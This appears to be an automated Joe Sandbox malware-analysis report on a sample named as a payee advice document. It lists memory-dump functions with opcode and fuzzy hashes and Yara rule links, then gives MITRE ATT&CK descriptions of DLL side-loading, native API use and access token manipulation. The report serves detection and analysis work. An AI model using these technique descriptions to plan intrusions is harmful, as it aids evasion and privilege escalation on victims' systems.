Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5efeab170982f58e194f1b92c4bb1ba2e6cb9e5b6e80babc44e3b1dff7e751dc
Instruction ID: 9f4e0d9748df5904fa2d6b97e965c424415e1769ce2c29e9cdd4f464f1bcebfb
Opcode Fuzzy Hash: 5efeab170982f58e194f1b92c4bb1ba2e6cb9e5b6e80babc44e3b1dff7e751dc
Instruction Fuzzy Hash: 5AC1A274E01218CFDB14DFA5C944B9DBBB2EF89300F2080A9D909AB365DB359E86DF54

Function 36A5D0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f28ff98f9553797e476fc067f95cb407731d4605b52f142a56dc52128548bc
Instruction ID: 02349c8191b7577d0a56365a153c22cbaf9bd822f9f2c40f9ec11e60254f4d15
Opcode Fuzzy Hash: 14f28ff98f9553797e476fc067f95cb407731d4605b52f142a56dc52128548bc
Instruction Fuzzy Hash: FAC1A174E01218CFDB14DFA5C944B9DBBB2EF89300F2080A9D909AB365DB359E86CF55

Function 36A5F810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05c735de993f2b5f3fa251113d4cbbd2a9032c5ada5ac09465c2586a612ae3dc
Instruction ID: 7332f3437a381e845b665f8368a81926ae1b01f280abbf8b8437c78f31d579b0
Opcode Fuzzy Hash: 05c735de993f2b5f3fa251113d4cbbd2a9032c5ada5ac09465c2586a612ae3dc
Instruction Fuzzy Hash: 25C1A174E01218CFDB14DFA5C944B9DBBB2AF89300F2080A9D909BB365DB359E86CF51

Function 36A5D9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c518fdc786e69783615afebbf36975d3700139f379fcdeae7b60d14517c11e37
Instruction ID: 7e17c9cb2b3da2eb228c935850d8844e6929ad54481a6a8b392cf1c83a67c98b
Opcode Fuzzy Hash: c518fdc786e69783615afebbf36975d3700139f379fcdeae7b60d14517c11e37
Instruction Fuzzy Hash: E2C1A274E01218CFDB14DFA5C944B9DBBB2AF89300F1080A9D909BB365DB359E86DF54

Function 36A5D550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e97d3b76b3a4b7b872f2f17d88b7f6e19807978ade684db8afffdfa0dc0318b1
Instruction ID: 53cbbe42d3c5b7096455cfa72824583e05135d7670f33d1bdf6ac636666dd07b
Opcode Fuzzy Hash: e97d3b76b3a4b7b872f2f17d88b7f6e19807978ade684db8afffdfa0dc0318b1
Instruction Fuzzy Hash: 83C1A174E01218CFDB14DFA5C954B9DBBB2BF89300F2080A9D909AB365DB359E85CF54

Function 36CB1BA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206412392.0000000036CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cb0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb5ddc2995f15c00e965d2fbcf54c6e9419cd9e9dff75f9c5c91c93d268293b
Instruction ID: 8936804704e1ce3a9b1a363045ad7e35f2d494733f593a5dd863009dece2cdd5
Opcode Fuzzy Hash: adb5ddc2995f15c00e965d2fbcf54c6e9419cd9e9dff75f9c5c91c93d268293b
Instruction Fuzzy Hash: FBC1A274E01218CFDB14DFA5C944B9DBBB2AF89300F1081A9D809BB365DB359E85CF55

Function 36C472C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1daa370e957824ad37ed2706b33632d7c77dbf1c5ef433d24b88f1b6f96a4f
Instruction ID: 82c8cceb75b25c32321fb46ed72d4497d0864cf640494b8c1bda4eb38c6cbb5d
Opcode Fuzzy Hash: cd1daa370e957824ad37ed2706b33632d7c77dbf1c5ef433d24b88f1b6f96a4f
Instruction Fuzzy Hash: 44C19074E01218CFDB55DFA5C984B9DBBB2AF89300F1080A9D809AB365DB359E86CF54

Function 36C44ED0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdcb2d2ba819b7928ae3c1f8734b5afb2de8e3d717a1a0a8afce36097050fe30
Instruction ID: 37c658029496bb615e0ebc4c061047143b52196c4c741a24f0c4b7904418c9d3
Opcode Fuzzy Hash: cdcb2d2ba819b7928ae3c1f8734b5afb2de8e3d717a1a0a8afce36097050fe30
Instruction Fuzzy Hash: D4C19274E01218CFEB15DFA5C944B9DBBB2AF89300F6080A9D809AB365DB359E85CF51

Function 36C41EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d486df0ac08de00512d27f953c59f97b0886cd7c95ddcad071bb9c908f00d8aa
Instruction ID: c00a739c75e01be75a94146eb5dc549b9cca4314bf7c2c955dbed6d2e6ace2f1
Opcode Fuzzy Hash: d486df0ac08de00512d27f953c59f97b0886cd7c95ddcad071bb9c908f00d8aa
Instruction Fuzzy Hash: 90C1A174E01218CFDB15DFA5C944B9DBBB2AF89300F2080A9D809BB365DB359E86DF54

Function 36C41A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f748bff6e4c88df2bee6274a520c28c2430f08295ba9ec94fb652111072c4c2
Instruction ID: 9c9390e68219582dc39af5fa207148092997aed92838543ee8ba79eef6a3d417
Opcode Fuzzy Hash: 9f748bff6e4c88df2bee6274a520c28c2430f08295ba9ec94fb652111072c4c2
Instruction Fuzzy Hash: 91C19174E01218CFDB15DFA5C984BADBBB2AF89304F1080A9D809BB365DB359E85CF51

Function 36C46E70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4866823a18477aa62ecc912309f4cdb0af37f6cbed9d7ac6a9fa3c886b1f9fb
Instruction ID: 608ea7e8503c656bc3cc8ff12b7d9b53248b10ef409753fe3738ae5f37c78647
Opcode Fuzzy Hash: d4866823a18477aa62ecc912309f4cdb0af37f6cbed9d7ac6a9fa3c886b1f9fb
Instruction Fuzzy Hash: D8C19174E01218CFDB15DFA5C944B9DBBB2AF89300F2080A9D809BB365DB359E85CF51

Function 36C44A78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4ac840b29dcf6dfc0c31e07489e3fc1f6c9275c450f2d31ff5a05ff6f97104
Instruction ID: e4263f969137d60352a6e14dc3144f8601970c13e66def171aa31671bec05055
Opcode Fuzzy Hash: fd4ac840b29dcf6dfc0c31e07489e3fc1f6c9275c450f2d31ff5a05ff6f97104
Instruction Fuzzy Hash: 31C19174E01218CFDB15DFA5C984B9DBBB2EF89300F2080A9D809AB365DB359E85DF50

Function 36C46A18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 215dac126c24f29c5778ba579938206d3bee349ba2d9aea87f67d9033dcc6bb7
Instruction ID: 8a0448c0029e79166ebfe424f8ad0d8505b2a9416882a7076228807aaf611d3d
Opcode Fuzzy Hash: 215dac126c24f29c5778ba579938206d3bee349ba2d9aea87f67d9033dcc6bb7
Instruction Fuzzy Hash: 07C1A174E01218CFDB15DFA5C984B9DBBB2EF89300F2080A9D809AB365DB359E85DF51

Function 36C44620 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99061069153e1dfa4120e7426f9abf967b9675adcc1266951ff8f2700d725fef
Instruction ID: 114a66667c9f06fb8af2df4760a82db344345c1b0f90bb6701a0c11ddcd8e7f4
Opcode Fuzzy Hash: 99061069153e1dfa4120e7426f9abf967b9675adcc1266951ff8f2700d725fef
Instruction Fuzzy Hash: F6C1A074E01218CFDB15DFA5C944B9DBBB2EF89304F2080A9D809AB365DB359E85CF54

Function 36C45BD8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33455f2955bedf612e7f579a47aada83df80241d10097b18075e547edab85fb7
Instruction ID: db8ec372b49ed9bab0b3b650d4d4c54be086ed02605ba36c014f450802d021ed
Opcode Fuzzy Hash: 33455f2955bedf612e7f579a47aada83df80241d10097b18075e547edab85fb7
Instruction Fuzzy Hash: 93C1A274E01218CFEB15DFA5C984B9DBBB2AF89300F5080A9D809BB365DB359E85CF51

Function 36C45780 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e596551a3918701f6c0c2aae70f8f9774152497927dd42403a233daa3ddeaf18
Instruction ID: 79d6c5914849042a3ddbe773e8f7e204d292ddd2b7f750096ee065303b387017
Opcode Fuzzy Hash: e596551a3918701f6c0c2aae70f8f9774152497927dd42403a233daa3ddeaf18
Instruction Fuzzy Hash: 42C19174E01218CFDB15DFA5C944B9DBBB2EF89300F6080A9D809AB365DB359E85CF51

Function 36C42BB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11897f86a79fffda692516ef94d6b28dd18e37367cf4a8334c9e5279c2ee5af8
Instruction ID: a0f7c6af77efd10f0473c7461c45b887b93d7fe2395f48f5c7db96e2fc1f5853
Opcode Fuzzy Hash: 11897f86a79fffda692516ef94d6b28dd18e37367cf4a8334c9e5279c2ee5af8
Instruction Fuzzy Hash: 15C1A174E01218CFEB15DFA5C944B9DBBB2AF89300F2080A9D809BB365DB359E85CF54

Function 36C42758 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7394af565b92373c2d9192f32b45f3822c6dea43b45cb0289e757cc4f14d54b3
Instruction ID: a539677293ba6f594720c3ab24cf18d2c93f98a4c3f4e77951bd0f3309ea642f
Opcode Fuzzy Hash: 7394af565b92373c2d9192f32b45f3822c6dea43b45cb0289e757cc4f14d54b3
Instruction Fuzzy Hash: 72C1A174E01218CFDB15DFA5C944B9DBBB2AF89300F1080A9D809BB365DB359E86CF55

Function 36C42300 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71be0a302af98fc0a5465cfcc5c96f86cd374691cc4ed880fa793dbfe0553a86
Instruction ID: 9a7ef4e7225075b0febcf5a05645bf93d5a51968db88464df28fa46c8607e9e6
Opcode Fuzzy Hash: 71be0a302af98fc0a5465cfcc5c96f86cd374691cc4ed880fa793dbfe0553a86
Instruction Fuzzy Hash: 4AC1B074E01218CFDB15DFA5C944B9DBBB2AF89300F2080A9D809BB365DB359E85CF54

Function 36C47720 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e5e3d3c6ffe50b8a7c0e68434f99a3d9ab48a71806d5f0139168c3e4f5cc65e
Instruction ID: 768023af70b8d5e413d609bbbf61adb995ba6034888cde48f574a1160824268c
Opcode Fuzzy Hash: 1e5e3d3c6ffe50b8a7c0e68434f99a3d9ab48a71806d5f0139168c3e4f5cc65e
Instruction Fuzzy Hash: A9C19F74E01218CFDB15DFA5C984B9DBBB2AF89300F2081A9D809BB365DB359E85CF54

Function 36C45328 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7107e171f0596b8d92099c6f2812ba01bed2c782ff8e19741eb012a65c6c14
Instruction ID: 0acce513065d32967c0caccad8dd1c8a42f351fb024214f8cc0271840d115088
Opcode Fuzzy Hash: 5b7107e171f0596b8d92099c6f2812ba01bed2c782ff8e19741eb012a65c6c14
Instruction Fuzzy Hash: C1C19174E01218CFDB15DFA5C944B9DBBB2AF89300F6080A9D809BB365DB359E85CF51

Function 36C408F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79634021d3eb57d7562a7e5ffd8486382aaff0b1f9f48fe98927e6f0279eb5d
Instruction ID: 5703bfcb846db86e28ab5bb1161dca051a1a36ea60642ec6db528a1a5bf8e38f
Opcode Fuzzy Hash: d79634021d3eb57d7562a7e5ffd8486382aaff0b1f9f48fe98927e6f0279eb5d
Instruction Fuzzy Hash: EEC1A174E01218CFEB15DFA5C944B9DBBB2AF89300F2080A9D809BB365DB359E85CF55

Function 36C46488 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dc5d54b9e0b75ebd3ef87c271f8698ea25b437651c57aa26c73d9e7b51c843b
Instruction ID: 62505f57554336a584286bb05c09fc9d1b5cf6aa41325bf083739fe6bda7bf71
Opcode Fuzzy Hash: 9dc5d54b9e0b75ebd3ef87c271f8698ea25b437651c57aa26c73d9e7b51c843b
Instruction Fuzzy Hash: C9C19174E01218CFDB15DFA5C954B9DBBB2AF89300F2080A9D809BB365DB359E86CF54

Function 36C40498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3370f343d0d081e26d8c69503f00c03822e00cefbbdbebc0dc772eb035f91d9d
Instruction ID: 7c540d9cd5220ace6a384ab693abe131f233e9f5ad47b3c9479b8f48f329a096
Opcode Fuzzy Hash: 3370f343d0d081e26d8c69503f00c03822e00cefbbdbebc0dc772eb035f91d9d
Instruction Fuzzy Hash: F9C19074E01218CFDB15DFA5C944B9DBBB2AF89300F2080A9D809AB365DB359E86CF50

Function 36C40040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ac3fae05011868b16ee106335e904779f8de709d47af39e434da683caa72120
Instruction ID: 6008cb309e2e8aacdc36c31f361ed77dbcc645e8db19dcfb8215e2e1d2d290e8
Opcode Fuzzy Hash: 5ac3fae05011868b16ee106335e904779f8de709d47af39e434da683caa72120
Instruction Fuzzy Hash: 42C1A074E01218CFDB55DFA5C984B9DBBB2AF89300F2080A9D809AB365DB359E85CF50

Function 36C43460 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8d8a723adca11da9d7b57e2a3d5f162144d9bdce72042ddb9529c1b5bb36962
Instruction ID: b5bb64593515885712cf76c0d13bd9cf8abfdb0d219945b531aef6a97e839b44
Opcode Fuzzy Hash: d8d8a723adca11da9d7b57e2a3d5f162144d9bdce72042ddb9529c1b5bb36962
Instruction Fuzzy Hash: 74C1A174E01218CFDB15DFA5C944B9DBBB2AF89300F6080A9D809BB365DB359E85CF50

Function 36C46030 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1cc3dcf2f738ae1fb18fd361c2e0f7982ea768d548420e4fe6068d00a0a0d2
Instruction ID: da6697f814bc16db174589ca0715485829cd103a139db507d0b93fab64742fde
Opcode Fuzzy Hash: ee1cc3dcf2f738ae1fb18fd361c2e0f7982ea768d548420e4fe6068d00a0a0d2
Instruction Fuzzy Hash: 5EC1A174E01218CFDB15DFA5C994B9DBBB2AF89300F2080A9D809BB365DB359E85DF50

Function 36A50673 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4504ee376784a4958c7052f9d662b96a7617945494112bd0effaf33a3364ed45
Instruction ID: 1d0f715c676c28028a4d5823336732d09cd7e1b2a78a526fcf946116594c96e3
Opcode Fuzzy Hash: 4504ee376784a4958c7052f9d662b96a7617945494112bd0effaf33a3364ed45
Instruction Fuzzy Hash: D8A19D74A01228CFEB64DF24C994B9ABBB2BF49304F1085E9D94DA7260DB319EC1DF51

Function 0011F2C0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 130891d282f445b6be94b82740abe2fad0f4232107ede65c5755055cdc82f8ef
Instruction ID: 0db176b11b2ef0545d6ad1536004ea12e55e46bd983fd8af0ca7fb2db2901843
Opcode Fuzzy Hash: 130891d282f445b6be94b82740abe2fad0f4232107ede65c5755055cdc82f8ef
Instruction Fuzzy Hash: 79512470D05208CBDB08DFA9D4987EEBBB2FF89300F249139E414BB695DB759882CB54

Function 0011F4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb066224b8512e166f34130ab637a3a17f39651148adebd4aa504b6825f3b184
Instruction ID: 5a99cdbda4ae3186c49b92135f4ac3aca0de554cab991c482ae98e7a53a5ba9c
Opcode Fuzzy Hash: eb066224b8512e166f34130ab637a3a17f39651148adebd4aa504b6825f3b184
Instruction Fuzzy Hash: 9C51F070D05218CBDB18DFA8D494BEEBBB2FB49300F209139E419BB695D7359982CF54

Function 02EF3E8D Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177532134.0000000002EDB000.00000040.00000400.00020000.00000000.sdmp, Offset: 02EDB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2edb000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcdac10091b97405fe43c2b8353e83e558bb78712b3632b67df92bbc2cfe4cfe
Instruction ID: 4fe8b8dbe10bed200a33d04787c35b57ab45d1e4016cab64af836b66be3696f1
Opcode Fuzzy Hash: dcdac10091b97405fe43c2b8353e83e558bb78712b3632b67df92bbc2cfe4cfe
Instruction Fuzzy Hash: D2517B1B6871CE478F1B4634446DBD9EE2369C6A3477E44DDC9814B3A2E1639BC2C382

Function 36A50853 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d088beecc97c02dd48dee242ee0a5f0cf9d5ae22499d8dae5dd107d756eb632
Instruction ID: 8747d0efc593cd0ea5a88d5ed489c713bbed7855ce9d14e9753851a66b8923f4
Opcode Fuzzy Hash: 1d088beecc97c02dd48dee242ee0a5f0cf9d5ae22499d8dae5dd107d756eb632
Instruction Fuzzy Hash: DC51AE34A01228CFDB65DF24C954B9ABBB2BF4A305F5085E9D809B7360DB319E81CF51

Function 36C4B08B Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64aece46f02f110419839fd6b00041e9b9761a65b2ab8f00ffb18af21058ade5
Instruction ID: c8030dd031c4453634841e8d84e57de5587b7786144239e643d538e5ca545b77
Opcode Fuzzy Hash: 64aece46f02f110419839fd6b00041e9b9761a65b2ab8f00ffb18af21058ade5
Instruction Fuzzy Hash: C341FEB8E022199FCB05DFA5D594BAEBBF1BF49304F1084A9E414BB390D7389A41CF95

Function 00111A18 Relevance: 5.1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

F, xrefs: 00111A47
F, xrefs: 00111B47
F, xrefs: 00111B64
F, xrefs: 00111B10

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: F$F$F$F
API String ID: 0-1844600021
Opcode ID: d9ce961a43da000ee3f082c65fdfc8bf280e2cbf72b287d4f4715e73c3550af0
Instruction ID: 83b9b2ee8d4f872484bf6dbe6ce3ec936ef88b8e0c3bfcc8643172c82859e69d
Opcode Fuzzy Hash: d9ce961a43da000ee3f082c65fdfc8bf280e2cbf72b287d4f4715e73c3550af0
Instruction Fuzzy Hash: 9C418E74E04209DFCB09EFB8D4416AEBBB2EF86304F1084B8D445AB355DB759E86CB91

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

